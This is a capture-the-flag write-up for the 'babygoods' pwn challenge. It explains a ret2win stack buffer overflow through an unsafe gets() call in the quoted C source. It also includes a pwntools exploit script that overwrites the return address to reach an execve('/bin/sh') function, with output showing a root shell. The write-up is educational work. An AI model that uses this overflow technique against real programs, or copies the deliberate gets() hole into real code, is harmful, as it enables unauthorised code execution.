intbuildpram() { char buf[0x10]; char size[4]; int num;
printf("\nChoose the size of the pram (1-5): "); fgets(size,4,stdin); size[strcspn(size, "\r\n")] = '\0'; num = atoi(size); if (1 > num || 5 < num) { printf("\nInvalid size!\n"); return0; }
printf("\nYour pram has been created! Give it a name: "); //buffer overflow! user can pop shell directly from here gets(buf); printf("\nNew pram %s of size %s has been created!\n", buf, size); return0; }
intexitshop() { puts("\nThank you for visiting babygoods!\n"); exit(0); }
intmenu(char name[0x20]) { char input[4]; do { printf("\nHello %s!\n", name); printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n"); printf("1: Build new pram\n"); printf("2: Exit\n"); printf("Input: "); fgets(input, 4, stdin); input[strcspn(input, "\r\n")] = '\0'; switch (atoi(input)) { case1: buildpram(); break; default: printf("\nInvalid input!\n==========\n"); menu(name); } } while (atoi(input) != 2); exitshop(); }
It’s quite a bit of code but honestly most of it is just a distraction. If we look at the menu() function, we can see that the user is given 2 options. One is to exit and one is to create a new pram. The below function shows how to create a new pram
intbuildpram() { char buf[0x10]; char size[4]; int num;
printf("\nChoose the size of the pram (1-5): "); fgets(size,4,stdin); size[strcspn(size, "\r\n")] = '\0'; num = atoi(size); if (1 > num || 5 < num) { printf("\nInvalid size!\n"); return0; }
printf("\nYour pram has been created! Give it a name: "); //buffer overflow! user can pop shell directly from here gets(buf); printf("\nNew pram %s of size %s has been created!\n", buf, size); return0; }
The user is given the choice to create size of pram and to give it a name. The former option is entirely irrelevant to the challenge because the challenge authors are kind enough to tell us where the vulnerability is and it’s in
1 2
//buffer overflow! user can pop shell directly from here gets(buf);
Why is this vulnerable though? The function gets(some random buffer) in c takes in user input from stdin and parses it to the buffer. Seems simple enough. It’s just that this is a pretty stupid idea because nothing stops us from parsing as much input as we want into the buffer and if buffer has a certain set size, our input would overflow the buffer and we can achieve RCE.
1 2 3
intsub_15210123() { execve("/bin/sh", 0, 0); }
There is a function that has been written code that contains the RCE part of it. The only part of it that we have to figure out is how to reach this function from build pram. For that, we need to understand registers.
As a function executes it’s code, there’s a very special register called RIP that essentially walks through the code and executes each instruction. When it approaches the end of the function, there’s a return instruction and a return memory address (probably to another function) which RIP jumps to and does whatever instructions that function has. When we overflow the buffer, seeing that the buffer is stored in our stack as well, we can overwrite values and registers on our stack and in theory, we could overwrite RIP to whatever memory address we want.
This is the basic principle behind a ret2win attack.
So, what’s our exploitation method?
We need to find the offset to RIP register, craft our payload to reach the size of the offset to RIP register and add in the memory address of sub_15210123(). This would overflow the buffer and make sure RIP would point to sub_15210123() and jumps to it giving us RCE.
We could use GDB to try stuffing the program with a 100 byte cyclic pattern and get a crash. We can then use the crash to get the offset to the rbp register and just +8 to it to get the offset to $rip. (btw, we use $rbp because it’s right before rip and NX is enabled so offset to rip can’t be directly calculated)
We can also see our sub_15210123() (the holy win function) is located at 0x401236.
Using all the stuff that we just talked about, we can craft a payload like this.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from pwn import *
OFFSET=40 win_function=0x401236
payload=b"A"*40+p64(win_function)
p=process("./babygoods")
p.sendlineafter("Enter your name: ","brokeaf") p.sendlineafter("Input",b"1") p.sendlineafter("(1-5): ","1")# literally doesn't matter what number you choose btw p.sendlineafter("name: ",payload) # the vulnerability woahhhh
p.interactive()
solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13
[+] Starting local process './babygoods': pid 6241 /home/[REDACTED]/greyctf/pwn/distribution/solve.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter("Enter your name: ","brokeaf") /usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/[REDACTED]/greyctf/pwn/distribution/solve.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter("(1-5): ","1")# literally doesn't matter what number you choose btw [*] Switching to interactive mode
New pram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x12@ of size 1 has been created! $ whoami root $
Just like that, we pwned the binary.
Overall, this challenge is like the very basics of ROP (return-orientated programming) and shows you that gets() is pretty terrible.